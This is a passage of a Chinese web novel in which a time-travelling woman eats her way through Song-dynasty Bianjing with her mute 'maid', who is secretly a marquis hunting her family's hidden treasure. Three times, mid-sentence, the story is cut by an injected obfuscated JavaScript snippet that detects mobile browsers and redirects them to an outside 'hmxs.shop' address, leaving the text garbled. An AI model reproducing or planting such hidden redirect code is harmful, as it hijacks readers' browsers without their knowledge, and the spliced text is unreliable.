三来也是最重要的一项，大宋自太宗一朝开始重文抑武，武将地位直线下滑，将文官抬高到了历史上前所未有的地位。 文臣统领武将就不说多荒谬了，更荒谬的是，就连战场如何列阵打仗，也要经由文官定夺！ 谁人不知“兵无常势，水无常形”？打仗贵在出兵神速，随势变通，而这帮人偏偏遥坐京中，以八百里加急命令前线将帅如何打仗！ 孟嫣每每翻看这段历史都无法理解，最终都归因于大宋从上到下都吃多了豆子，一个个脑子被屁崩了才会想出如此荒谬之策！ 孟嫣闭了闭眼，挣眼后，就见食案上那道鹅鸭排蒸上面铺了满满的豆豉。 孟嫣：…… 萧遇还在等着孟嫣回答。 孟嫣不去看那豆豉，缓缓起唇：“该收回。” 萧遇眉目少见的柔和下来，目光一瞬不瞬地落在孟嫣平静的脸上。 自父亲战死沙场，上到官家下到臣子，没一个赞同出兵辽地收复燕云的，却没想到能在孟嫣口中听到这样的回答。 他不自觉地紧了紧手指，将孟嫣这只绵软无骨的手包裹其中。 孟嫣却又道：“该收回和能不能收回是两码事。” 她笑了笑：“我们这些升斗小民就别管啦！这都是那些拿着高官厚禄之人该操心的，我们只需过好自己的日子就好啦。” 萧遇要问的话通通堵了回去，他抿了抿唇，神色淡了下来。 孟嫣却又想到了二女说到的另外的八卦，又道：“这长宁侯真该去庙里拜拜，前脚被官家赶出了朝堂，后脚又被退了亲，定是流年不利。” 孟嫣说完，又问：“你可见过长宁侯？真的样貌可怖、性情凶戾？真的一言不合就打人？” 萧遇对此已经没了兴致，可见孟嫣一双好奇的眼睛望着他，他还是摇了摇头，在其手心写道：不可怖，不打人。 孟嫣想到那女子说话的语气，显然是才听说了长宁侯的性情，否则祖辈定的亲，为何到现在才退？ 可她又从何处听来的长宁侯性情？会不会有人故意这样告诉她，就是想让她退亲自己好上位？ 孟嫣自行脑补了一出抢男人大戏，并且觉得自己极可能猜到了真相。 她乐呵呵地悄悄同萧遇说了。 萧遇淡然的面色又堆起复杂。 他真不知孟嫣的脑子里都装着什么。 萧遇夹起一块鹅腿肉，放入孟嫣碗中，眼神里写着：吃吧！吃肉就能把嘴堵上了。 孟嫣看着碗中鹅肉挂着的浓密豆豉，沉默片刻，用筷子一粒一粒将豆豉拨开，最后才将鹅肉送入口中，眼睛一亮：真香！ 24. 凶戾传闻 吃饱喝足，花了不到二十两银子，比孟嫣预想的少很多。 大概因为并未吃什么奇珍食材、也未叫什么歌舞表演的缘故。 最为价贵的是那决明兜子，里面用了一味鲍鱼，算是唯一的奇珍食材了。 付过银子，孟嫣和萧遇二人准备离开。 刚从雅间出来，隔壁的门也开了。 里面走出两位女子，其中一位朝孟嫣和萧遇二人暼来，随即愣了愣。 孟嫣也望了过去，微不可察地挑了挑眉，竟是在相国寺骂她“蓬门小女”“粗陋不堪”的那位。 今日她依旧穿着那件狐皮斗篷，见到孟嫣身上的这件后，微微蹙起了眉头，咬了咬牙转身离开。 和她同来的那位也看了眼孟嫣，随即跟了上去。 孟嫣拢了拢斗篷，看着二人离开的背影，同萧遇低声道：“那个穿狐皮斗篷的，应该就是同长宁侯退亲的那位。” 萧遇神色淡淡。 孟嫣又道：“其实挺漂亮的。” 萧遇侧首暼了她一眼。 逛了大半日，又吃饱喝足，一上马车，孟嫣就有些昏昏欲睡。 回到小院就直接换下外裳，漱过口就滚到榻上径直睡了过去。 萧遇回了隔壁，戍安禀报了今日喻家退亲一事。 萧遇：“祖母怎么样？” 戍安：“老夫人挺平静的，也没说什么，让人将送还回来的聘礼收入库房，又将喻家定帖返还了回去。” 萧遇淡淡颔首，给孟嫣留了字条，就回了府。 刚跨进松茂堂，就听见了祖母颇为惋惜的声音：“你说这喻家，早不来晚不来，偏偏赶上入炉羊送来时退亲，说话也啰啰嗦嗦好不痛快，等他们一走，这羊羔子都不好吃了！” 接着又是几声叹息。 萧遇：…… “喻家过来时可没见您这么抱怨，还张罗碗筷要一起吃呢！” “谁知道他们是来退亲的？” “那您还答应的这么痛快？” 接着就听到一声轻哼：“喻家小子升了官，显然已经看不上咱这破落户了，这样的人家，这亲不结也罢！” “老夫人别这么说，咱好歹也是侯府。” 老夫人又轻哼一声：“一老一小支撑门楣的侯府，汴京谁放在眼里？几个月前这小的还被官家赶出了朝堂，任谁不说长宁侯府门楣衰落？” 萧遇眼皮跳了跳，脚步一转就要离开，就听里面传来中气十足的声音：“泼皮猴子！回来了也不知进来看看祖母！整日念叨收复燕云，给人当女使就能把燕云收回来了？” 萧遇：…… 他扫了一眼，院中女使齐齐低下了头。 看来他一回来祖母就得到了消息，故意说这些话等着呢！ 萧遇进了屋，就见祖母舒舒服服坐在榻上，面前放了一张方桌，上面是已经吃了半条羊羔腿的入炉羊。 他叫了声“祖母”。 萧老夫人“哼”了一声，上上下下将他打量了一遍，道：“怎么没穿那套女使衣裳回来？也让祖母看看呐？” 萧遇：…… 萧老夫人撕了一条腿肉，吃了一口，问：“钱管事说，你把那套绢纱套子的火阁给了你那主家？” 萧遇：“……反正也是闲置……” 萧老夫人长长“哦”了一声：“这女使打算当到什么时候？” 萧遇没说话。 萧老夫人暼了孙儿一眼，这才说起正事：“喻家一大早就来退了亲，说如今我们贵为侯爵，实在不敢高攀，我替你同意了，你怎么想？” 萧遇：“如祖母所说，这门亲事，不结也罢。” 萧老夫人露出笑意来，又暼了孙儿一眼，道：“不过依我看，他们喻家定然是有了新的女婿人选了。” 萧遇：“有没有新女婿人选，都与咱们侯府无关。” 萧老夫人又吃了一口羊羔肉：“就是以你的凶戾名声，今后若是再想在官宦之家找个像喻家女这么漂亮的人可就难了。” 萧遇莫名想起孟嫣来。 他道：“结两姓之好不应只看对方家世样貌，更要看对方品性，一个不重诺守信的人，即便娶了进来，日后也只会为家族蒙羞。” 萧老夫人轻轻颔首，见孙儿对退亲一事和她立场相同，便摆摆手让他退下了，别打扰她吃羊羔子。 长宁侯被喻家退亲一事，仅半日时间就在汴京传的沸沸扬扬。 孟嫣次日和萧遇在食店吃饭时，到处都能听到议论此事的声音。 只不过和她脑补的不同，长宁侯在汴京城是真的凶名在外。 上到八旬老翁，下到黄口小儿，仅仅听到他的名字就吓到噤声。 起因是几年前的马球会，长宁侯将永安公府的房世子打的浑身是血。 永安公夫妇上门理论，相继被打，最后满身伤的房世子被永安公夫妇抬进了宫，请官家做主。 结果长宁侯当着官家的面又将躺着的房世子打了一顿，这次还断了两根肋骨，最后官家也没把这长宁侯怎么样，自此就传出了长宁侯一言不合就打人的凶戾之名。 孟嫣朝旁边一桌议论的食客凑过去，低声八卦道：“长宁侯为何打那房世子？” 几人见凑过来的是个俊俏小娘子，就热情地为孟嫣讲起来：“听说是房世子说了句什么惹的长宁侯不高兴了。” 孟嫣追问：“长宁侯说了什么？” 几人面面相觑后摇了摇头，最后一个妇人“嗐”了一声：“无论说什么也不能把人打成那样，更何况当着官家的面又打断人两根肋骨，这多凶残！” 孟嫣：“可最后官家不是也没罚长宁侯？不就是说这事房世子活该被打吗？” 孟嫣的话音一落，食店骤然安静下来。 店家和食客的目光齐齐望向了孟嫣。 孟嫣被这阵仗吓了一跳，结结巴巴道：“不、不是吗？” 萧遇目光沉静地望着孟嫣，起身将她拉回座位，在她手心写道：是。 二人默不作声地吃完了饭，又在众人的注视中出了食店。 从食店出来后，孟嫣才拍了拍胸口，大口大口喘气。 就刚刚那阵仗，她都怀疑那些人会不会是房世子的亲戚，一个不好就冲上来打她一顿。 孟嫣又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979369|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍了拍胸口，道：“说起来你也姓萧，和长宁侯还是本家呢，可知长宁侯为何打那房世子？” 萧遇侧首看了孟嫣一眼，拉过她的手，写道：他说老长宁侯是自己找死。 孟嫣想到昨日那二女口中的长宁侯萧遇，只知道向官家提议收复燕云。 想来老长宁侯也是征战沙场的武将，就是不知老长宁侯是战死沙场还是因为别的什么原因离世的。 萧遇就像看出了她所想一般，又在她手心写道：战死沙场。 孟嫣：“长宁侯肯定是以老长宁侯为榜样的，房世子那样说他父亲，挨打不冤。” 孟嫣顿了顿，又轻声道：“这样说一个征战沙场、护佑边关的武将，打的轻了。” 萧遇倏地攥紧孟嫣的手，又侧首看了看她，将她冰凉的手拢在手心，牵着她回了小院。 进了火阁，萧遇点了火炉，又煮了茶。 茶香袅袅，孟嫣懒懒地窝在椅子上，拿出昨日给萧遇买的那副手衣，又找了块相同颜色的布料，堆叠缝在一起给手衣做了个帽子。 刚缝完一只，萧遇进来告诉她可以去洗漱了。 孟嫣点了点头，起身朝浴间走去。 自从请了女使，浴间也放了火炉，沐浴盥洗虽然还是会冷，却也比之前好上许多。 孟嫣也骤然想到昨日，一回来她就一觉睡到了今日，也不知萧遇有没有来火阁睡。 现在天气这么冷，每日早上的长窗都会结一层霜晶。 若是还睡在火阁外面，没几日就会冻病的。 孟嫣快速洗好回来，催促萧遇也快去洗。 今日她要盯着萧遇来火阁睡。 萧遇无法，只好假意洗漱一翻回了屋子。 架子床上，他的被子已经被抱进了火阁，和孟嫣的那床并排放在矮榻上。 孟嫣已经钻进了被窝，见萧遇进来，指了指桌案上已经缝好的那只手衣：“你试试大小，若合适明日我把另一只也缝好，这样你提水烧火时就不会冷到手了。” 萧遇看着这只不伦不类针脚不齐的手衣沉默了许久，才缓缓戴在了手上。 他握了握拳，又将手伸展开，走至榻边，拉过孟嫣的手写道：很合适。 孟嫣弯了弯眼睛：“上来睡吧！今日不许去外面了，你若冻病了，谁来做事？” 萧遇将手衣放回桌案，掀开被子就要躺进去，却被孟嫣拦住。 孟嫣：“怎么不脱外裳袄裤？” 萧遇又沉默一瞬，背对着孟嫣将外裳袄裤脱了下来。 孟嫣满意了几分。 萧遇熄了灯，这才躺进被子里。 本就窄小的矮榻瞬间拥挤起来。 萧遇僵着身子一动也不敢动。 孟嫣则有些睡不着。 她第一次和人同床共枕，总要适应适应，好在没有她想象中的排斥，想来是这天气太冷，她更怕萧遇冻死在外面的架子床上吧！ 这么想着，孟嫣缓缓闭上了眼睛。 均匀清浅的呼吸传来，萧遇暗暗松了口气。 他轻手轻脚掀开被子，起身下榻，迅速穿上衣裳出了屋子。 25. 旧事 一连几日，萧遇并未在屋内发现任何机关暗道，屋内的每一个角落都被他查探过。 他不禁怀疑起来，是不是孟尚杰真的没将财宝藏在此处？ 他望着漆黑的夜空，徐徐吐出一口气。 他一直想继承父志，荡平敌寇，收复燕云，官家从未松过口。 直到三个月前的早朝，他再次提出要收复燕云，官家直接将他赶出了大殿，还让他别来上朝了。 可当日，又让人来传话，若是他能凑齐收复燕云的军饷，就准他领兵出征。 官家明明白白告诉他，打仗可以，钱自己想办法。 正当这时，江南传来明州舶商孟家，第一次跑三佛齐到大食国航线就意外得到了几箱财宝，里面奇珍异宝价值数百万金。 孟家却也因此被盯上，被匪寇灭了门。 消息传到京城时，匪寇早已被明州知州带兵剿灭，可这几箱财宝却下落不明。 他本不信有什么财宝，却意外得知官家也在让人去查财宝的下落。 再想到官家将他赶出大殿后，又让人传那翻话给他，此事难保不是真的。 为此，他也暗中调查，最先查了明州知州，却得知他也在暗中查找财宝去向。 细查之下，他又查到孟尚杰一年前就暗中在汴京买了宅子，还写在了女儿名下。 而孟尚杰最后那次出海回来，恰好也是在一年前。 如此，此事又可信了几分。 否则为何要暗中买宅子？很可能是为了藏那几箱财宝。 他带着林檎和戍安赶过来时，却惊讶地发现宅子里面有人，孙家妇人还称呼她为孟小娘子。 那时的孟小娘子已经病重，再结合当时孟家被匪寇灭门，他猜测这位孟小娘子极可能就是舶商孟尚杰的独女孟嫣。 应是孟尚杰用了什么法子提前将女儿送了出来，她是听闻了孟家的变故才病重至此。 这就更让他相信孟家是有那笔财宝的。 萧遇又长长吐出一口气，这笔财宝究竟藏在何处？ 扒在墙头的林檎忧心忡忡，压着声音和同样扒在墙头的戍安道：“侯爷不会是在为喻家退亲伤心吧？” 戍安像看傻子一样看了他一眼。 林檎也意识到自己说了一句傻话，摸了摸鼻子，讪讪笑了笑。 侯爷和喻家女的这门亲事，是侯爷祖父萧老将军定下来的。 那时萧老将军在北地领兵，和当时的河北东路转运使喻濯配合密切，因此有些交情，两家便替孙辈定了这门亲事。 后来老将军立功，受封爵位回了京，却也没忘了这事，直接命人去喻家送了婚书和聘礼，只要两位孙辈到了适婚年龄就择期完婚。 只是没想到辽国再次犯边，已经受封侯爵的老将军再次领兵出征，却因本该到达指定位置设伏的几位将领大雪迷路并未如期到达，萧老将军被敌军前后夹击至全军覆没。 官家震怒，撤了那几位将领的职，亲自前往北地御驾亲征。 也是这时，老将军的儿子，当时还是世子的萧将军也请命上了战场。 此战大捷，军心大阵，萧将军便提出乘胜追击，趁此收复燕云。 君臣想到了一处，立即排兵布阵。 却没想到，同样的一幕再次重演，本应到达指定位置设伏的将领又没如期到达，萧将军立即下令回撤。 更让人没想到的是，辽国竟只派了数千骑兵径直杀向了官家皇帐！ 官家被亲卫护着边跑边打，终于在半路遇见了回撤的萧将军。 萧将军迅速带兵杀将过去，很快将数千骑兵斩于马下。 却在这时，远处数百箭矢飞射而来，全都冲着官家而去。 萧将军一边命人奔袭追击，将放箭的辽寇摁死，一边迅速来到官家身侧护驾。 混乱中，一支箭矢以极其刁钻的角度朝官家射来，萧将军飞身扑救，替官家挡住了这一箭，自己却也殒了命。 彼时，萧将军的儿子萧遇才十岁。 其母萧夫人听闻噩耗，伤心过度，不久也撒手人寰。 长宁侯府便只留下了一老一小支撑门楣，和喻家虽未断了往来，却也只逢年过节送些节礼而已。 要说多熟，还真没有，侯爷连喻家人的面都没见过，更不知道喻家女是圆是扁，何谈伤心？ 既然不是因为退亲一事伤心，那就只能是因为财宝一事了。 林檎又摸了摸鼻子，跟着戍安翻身而下。 二人熟门熟路地一人替萧遇清洗面妆，一人提水烧火。 等做完这些，二人要翻墙回去时，萧遇平静地开了口：“屋中没有机关暗道，只有两只上锁的箱笼。” 林檎和戍安停了下来。 萧遇：“箱笼里也只有一千两的钱帖和二百多贯铜钱，再无其他。” 林檎蹙着眉头：“难不成孟尚杰没将财宝藏于此处？” 戍安：“侯爷觉得孟小娘子秉性如何？若是和她吐露实情，她愿不愿意将财宝的藏匿之地主动说出？” 二人齐齐看向了戍安。 萧遇思索片刻，觉得可以一试，林檎却摆着手道：“不行不行，若是孟小娘子不想说出怎么办？那时岂不是对我们还有了防备？” 戍安：“即便我们找到这笔财宝，终究也要经由孟小娘子同意了才能用。” 林檎终于能像看傻子一样看了一回戍安：“那怎么能一样？若我们先知道财宝藏在哪，到时候孟小娘子即便不同意我们也有办法让她同意。若是我们一无所知，孟小娘子咬死说没有财宝，我们几年之内找不到都有可能。” 林檎趾高气扬地又看了一眼戍安，接着道：“官家本就不同意出兵燕云，更不会出银子，等几年后我们终于找到了财宝，再出兵燕云时，燕云的百姓只会觉得我们是入侵犯边的贼寇，保不准拿起兵器和辽寇一起打我们也说不准。” 戍安难得露出一丝难以置信的表情：“燕云的百姓怎么会？他们和我们才是同族！” 林檎也是第一次在戍安脸上看到这副表情，得意洋洋道：“怎么不会？我可是听说了，辽国可是分了南北朝廷，南边汉制，北边辽制，只要不打仗，燕云的百姓生活没什么变化，并且辽国还轻徭薄赋，让他们休养生息，他们生活安乐了，做大宋百姓还是辽国百姓有什么区别？到时候我们出兵燕云，他们只会恨我们扰了他们的安宁！” 萧遇和戍安齐齐沉默。 不得不说，林檎说的没错。 百姓所求不过是有吃有喝，日子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983596|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安稳，做宋朝百姓还是辽国百姓并没有什么区别。 倘若辽国欺压他们，他们还会盼着大宋出兵打过去，可辽国却没有，相反，还鼓励他们开垦荒地，减免税赋。 萧遇和戍安看林檎的眼神都变了，他是怎么想到这些的？ 林檎摸着脑袋嘿嘿一笑：“最近经常去听一些商贾说北地的事，这些都是他们说的。” 萧遇又沉默开来。 戍安：“侯爷，若要收复燕云，只能尽快，再迟上几年，就、就……” 戍安也说不出口了。 林檎觉得自己又能昂首挺胸了，道：“所以侯爷，不如这几日您就带着孟小娘子多去两趟丰乐楼，点上一些山珍海味，几顿下来，保准能将这一千多两银子花光，到时候她还能不去取财宝出来？” 戍安再次讶异，没想到林檎这小子今晚上奇招频出！ 萧遇却觉得孟嫣于“吃”字一事上虽感兴趣，却也不是会为了吃能动辄百两千两花银子的人。 不过倒是可以多带她吃几家酒楼，不出两个月，这一千两银子总也能花光。 萧遇思定，提步回了暖阁。 定定看了熟睡的孟嫣半晌，轻手轻脚将被子抱去了架子床上，和衣而卧。 翌日。 孟嫣刚梳洗完就被萧遇拉倒了书案前，就见萧遇在纸上写了一堆酒楼食肆的名字，后面还相应写了几道菜品。 孟嫣不明所以。 萧遇口型道：各家酒楼食肆的招牌。 孟嫣看懂后，果然兴奋起来。 萧怀真这个女使不仅做事利落，还十分贴心，她从没透露过自己要吃遍汴京城的意思，她就能领悟到。 孟嫣：“那今日我们就去吃遇仙楼吧？” 离着近，不用雇车马，正好也还没吃过。 萧遇颔首，当即拿过她的斗篷就要替她穿上。 孟嫣阻止道：“现在就去？” 萧遇指着纸上一处，口型道：早饭去这里吃。 孟嫣一看，萧遇指着的地方叫“万家馒头”。 萧遇：若说京中谁家馒头第一，则非万家莫属。若说谁家瓠羹最好，则无人能与史家相较。 孟嫣对宋时的吃食叫法还是有些混乱的。 比如包子不全叫包子，也叫馒头。 馒头不全叫馒头，还叫蒸饼。 既然今日去吃馒头，正好看看这万家馒头比之鹿家包子如何？ 二人刚出了院门，孟嫣就呆住了。 只见院门前停了一辆和昨日一般无二的马车。 孟嫣缓缓侧首，难以置信地看着萧遇：“这车……你租的？” 萧遇面不改色地点了点头。 孟嫣又问：“这万家馒头很远？” 萧遇又理所当然地点了点头。 孟嫣目光复杂地看着马车，一大早什么还没做呢，四百文就没了。 她心下哀叹一声，悄声同萧遇道：“下次若再租马车，提前同我招呼一声。” 萧遇心下又升起了一丝古怪。 昨日丰乐楼一顿花了近二十两，也没见她眨下眼睛。 雇一辆马车不过四百文，怎么看起来一副肉疼的模样？ 不过萧遇还是点了点头。 26. 乳酪张家 万家馒头坐落在内城西侧。 沿着汴河，经过御街，路过开封府衙，再穿街走巷行上一刻钟就到了。 孟嫣没想到，有朝一日，她为了吃个馒头专门租了辆马车。 虽然这并不是她本意，却也花了钱。 只希望这万家馒头能值这四百文的车马费。 下了马车，远远就看见一家铺子前排了长长的一队人，大有沿着巷子绕上一圈的架势。 铺子门头支了一张迎风招展的旗子，上面青底黑字写着“馒头”二字。 看来这万家属于酒香不怕巷子深的店了，只写“馒头”连名头都没有，在汴京却到了尽人皆知的地步。 孟嫣心底还是纳罕了几分，一个馒头能这么好吃？ 她和萧遇缓缓走到了队伍的最后，也排起队来。 队伍行进的很快，孟嫣觉得没过多长时间，前面已经没几个人了。 孟嫣这才看清万家铺子是个什么样。 铺面看起来不大，实则纵深，里面有十余人正在忙着。 铺子两侧是叠摞着很高的蒸屉，每个蒸屉是不同馅料的馒头。 门头悬了一排小木牌，上面写了各色馅料，足足十几余种，自然也有没有馅料的四色馒头。 馅料与包子铺的不同，除了肉菜馅，还有蜜豆桂花、姜黄红枣、肉汁板栗、糖沙绿豆等各色非肉菜馅料，其中还有乳酪馅料的。 菜肉馅料的包子、馅饼、夹子孟嫣已经吃过许多，也可以看出汴京人对羊肉、笋肉两种馅料真是独一份的喜爱。 经过这几日，孟嫣也知道了萧遇的食量，人高马大，吃的也多。 问过他想吃什么后，按他的喜好一样给他来了两个，而她自己则毫不犹豫地要了乳酪馒头，又加了一个蜜豆桂花。 铺面里卖馒头的是个样貌十分秀气的女子，见孟嫣一次要买这么多，就笑笑提醒她会吃不完。 孟嫣也笑笑：“不是我一个人吃。” 女子不再多说什么，动作麻利地替孟嫣装好，足足包了三只油纸包，并告诉孟嫣这是按着肉、菜、其他馅料分门别类包起来的。 孟嫣道谢，萧遇从后接过，提到手中，朝旁边一家茶坊抬了抬下巴。 孟嫣会意。 汴京的食肆酒楼都允许自带食物，甚至去那些酒楼正店只买酒，吃食都从别处买来也无妨。 这让孟嫣少了许多心理负担，无需担心带着别家吃食进店被骂。 茶坊里除了茶，也提供各色点心果子和佐餐小菜，二人要了几道素菜佐餐，又点了一份姜盐茶。 茶菜很快送了上来，二人也打开了三个油纸包。 至此，孟嫣也明白了馒头和包子的区别——有没有褶。 孟嫣笑了笑，迫不及待地用两根手指拿起那只乳酪馒头。 不像那只蜜豆桂花的，在馒头中心还点了一枚桂花，这只乳酪馒头看起来和素白馒头没什么区别。 孟嫣咬了一口，满口尽是奶香，而馒头里的乳酪还在如流沙一般往外冒，不同的是看起来没有流沙细腻丝滑，倒是有点像刚出炉的蛋挞里的蛋奶。 于孟嫣而言，这真是意外之喜，没想到在这里也能吃到奶制品。 那边萧遇却颇为讲究地用筷子夹起一只鱼肉馒头，虽是不紧不慢颇为斯文地要了一口，可这一口也下去了大半个。 孟嫣：“要不要尝尝这只乳酪馒头？很好吃！” 正吃鱼肉馒头的萧遇愣了愣，看着举到自己面前散着丝丝奶香的馒头，又看着孟嫣笑吟吟的脸，迟疑了下，将口中食物咽下，一口全叼了过来。 这次换成孟嫣愣了愣，素白细嫩的手还举在萧遇面前，只是已经空了。 孟嫣的笑意缓缓凝住，嘴角还维持着上扬的弧度，眼底的错愕蔓延开来，随即有些哭笑不得。 “不噎吗？”她问。 二人都洗过手，她是想让萧遇在她没咬过、手指没碰过的地方掰一块尝尝，没成想整个被叼了去，好在馒头也就巴掌大小，里面香软的乳酪居多，不至于塞入口中后囫囵不开。 “那里被我咬过了，你应该掰下来的。”孟嫣又道。 萧遇咀嚼的动作微顿，也才知道自己会错了意。 他本还奇怪，这孟小娘子竟这么不见外？将她吃过的馒头就这样送到了他这个外男面前…… 不对，他现在是女装…… 萧遇突然觉得是有点噎，喝了口茶顺了顺。 孟嫣已经又拿起了那只蜜豆桂花馒头，这次她主动掰了一半送入了萧遇口中。 萧遇也把他手里的糖肉馒头分上一半给孟嫣，孟嫣却摆了摆手，她想再去买两只乳酪馒头。 萧遇已经将肉、菜馒头一扫而光，缓缓喝起了茶。 目光放在孟嫣脸上，手指轻轻敲打着茶盏。 孟嫣正要开口，萧遇拉过她手心写道：今日，乳酪张家。 孟嫣目光疑惑。 萧遇又写：乳酪。 孟嫣：“你是说，这家的特色是乳酪？” 萧遇点了点头。 孟嫣：“比这家的馒头还好吃？” 萧遇又拉过她的手写道：更甚。 那还等什么？ 她还没吃饱呢！ 只是…… 孟嫣看了一眼萧遇，犹豫问道：“你还吃得下吗？若是吃不下，我们午间再去。” 刚刚的馒头可是按着他的食量买的，等下总不能她吃着他看着。 萧遇现在在她这里除了是女使，还是一个很合拍的饭搭子，食量比她还大，二人去到一家店，一次可以吃许多样，这让孟嫣这种什么都想尝尝的人非常满意。 就像丰乐楼那道入炉羊，若是换个食量小的，她点起来可能还要考虑考虑，虽然吃不完可以打包，回去却也失了风味。 萧遇却对孟嫣的体贴生出一丝微妙，定定看了她片刻，写道：吃得下。 今早她只吃了不到一个馒头，定然还饿着。 孟嫣朝他肚子看了看，好像真没什么变化，便也不再犹豫。 乳酪张家在城东旧曹门外。 从万家馒头铺子过去，相当于横穿了大半个汴京城。 这回这车马费可花得值了。 汴京街巷遍植杨柳，若是春夏，定然绿柳成荫，此刻都光秃秃地，前阵子落的雪也已经不见了。 孟嫣窝在榻上，目光放在坐的身板挺直的萧遇身上，忽而问：“你对汴京食肆酒楼的特色招牌为何这么了解？” 照王牙婆的说法，她自小不会说话，也因此没能去高门大户里做事，去普通家户做事也只给一贯钱，又如何能了解这么多？ 萧遇心下一凛。 他垂下眼，片刻后才又望向孟嫣，坐到她身侧，拉过她的手写道：邻居家的女儿在大户人家做事，听她说的。 孟嫣点了点头，原来是这样。 只听人家说过，自己却没吃过，定然很向往吧！ 换成她就会，并且会想的抓心挠肝的，就想知道是什么味道。 孟嫣拍了拍他的手，诚恳又豪气地道：“虽然很多地方我也没去过，但是我会带你都去一遍，咱们把你写的那张单子上的吃食都尝尝！” 萧遇看着孟嫣豪气又期待的眼神，缓缓点了点头，口型道出了一个“好”。 马车很快就行到了潘楼街，沿着潘楼街直行向西，出了旧曹门就能看到乳酪张家门前的欢门。 孟嫣也才知道，乳酪张家竟是一家酒楼正店。 进了店门，伙计一样将二人引上了二楼雅间。 孟嫣看了看自己这件狐皮斗篷，好笑地暗暗叹气，她这是货真价实地“人假狐威”了。 落座后，孟嫣正想细细看一下菜单，却没看到伙计拿有菜单样式的东西。 正疑惑着， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987411|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伙计就熟练地报上了自家的招牌，先介绍了自家的乳酪酒，然后又介绍了各色菜，最后着重介绍了用乳酪做成的各色点心吃食。 说到酒，上次孟嫣在丰乐楼喝过的眉寿酒，入口绵甜，回味甘香，和带着一丝酒味的小甜水差不多，却没想到后劲这么大，她回来滚到榻上竟直接睡到了第二日。 可此刻她还是忍不住想尝尝这乳酪酒，为了避免再像上次一样，孟嫣特意问了问这酒醉不醉人。 伙计笑着道：“咱们家的乳酪酒最是温和，女子喝来也不会有什么不适。” 孟嫣放了心，却也没打算一大早就喝上一盏，而是等下买些回去尝尝。 孟嫣又细细问了问各色点心，最后点了几样招牌。 张家酒店和丰乐楼比起来朴素了许多，只一座二层酒楼。 因靠近外城，从窗子望出去空旷了许多，对面是买卖牛的街市，再有周边就是一些小店了。 很快，二人的点心送了过来。 孟嫣的视线最先聚焦在一只豆青色青瓷盏上，青瓷盏底汪着一底琥珀色的蜜浆，蜜浆上面绽放着一朵拳头大小的茉莉花，花瓣白如凝脂，似是随着蜜浆浮动。 茉莉花即奈花，不用问，这就是那道蜜浮酥柰花了。 奈花以奶油雕琢而成，做的过于精致，孟嫣都不知如何下口。 其实孟嫣也没有特别想下口，奶油配蜂蜜，听着就甜到发腻。 对比起来，旁边的那道鲍螺滴酥就寻常了许多，大概鲍螺在现代是最常见的裱花，就不觉得稀奇了。 除了这两道凹了造型，其他的几道不是圆团子，就是长形糕，虽过于普通，却依旧诱人。 其中一道软酪馒头看起来和万家的乳酪馒头没什么区别，只不过要小上两圈，孟嫣就最先夹过它咬了一口。 随即微微一愣，是……芝士？会拉丝！ 孟嫣惊了惊，看了看对面的萧遇，又看了看丝还未断的馒头，宋人可真会吃啊！ 孟嫣一口气吃了两只，留两只推给了萧遇。 又迫不及待夹过一只软酪团子，这与馒头的区别在于外皮，团子的外皮是用糯米做成，比馒头要薄上许多，上面撒了干粉，有一种轻纱薄雾的美。 和馒头不同，团子的外皮可以和软酪一起延展拉长，软酪的口感和奶香更浓郁。 孟嫣又感慨一翻宋人真会吃，最后目光还是放到了那道蜜浮酥柰花和鲍螺滴酥上。 本以为是味道相同的东西做了不同的造型而已，可各吃一口后就吃出了不同。 蜜浮酥柰花的奶油里有茉莉花的清香，配上蜂蜜也不觉得腻。 孟嫣本以为这是茉莉花的功劳，可再吃一口鲍螺滴酥就改变了想法。 鲍螺滴酥就是原味的奶油配蜂蜜，却和她想象的甜腻一点都不同。 奶油味道并不浓烈，只有淡淡的奶香，绵滑细腻，丝毫不会糊嘴，配上蜜浆才会增加一丝甘甜，这甘甜中还有一丝更细微的酸。 和在现代大部分奶油都不一样。 蜜浆的味道倒是让她熟悉，是她少时在奶奶家经常吃到的味道，没有掺杂任何糖浆的蜂蜜，就是甘甜微酸，不会齁嗓子。 让孟嫣感慨的是，她已经很久没吃过这么天然的味道了。 转瞬她也明白过来，这奶油也是天然的奶油啊！ 孟嫣笑了笑，在现代即便所谓的“有机”，其实也少了许多菜味，无非是在经过层层选种育种后，留下不易生病、产量最高的食物而已。 而食物本源的味道，其实已经很淡了。 没想到一次穿越，竟让她吃到了食物的真味。 萧遇不知孟嫣在想什么，一会儿感慨，一会儿失笑的，最终都归于她在江南极少吃到乳酪类的点心。 他默默放下了筷子，将碗盏都推到了她面前。 等夏日的时候，带她来吃酥山，她应该更喜欢。 27. 找错人 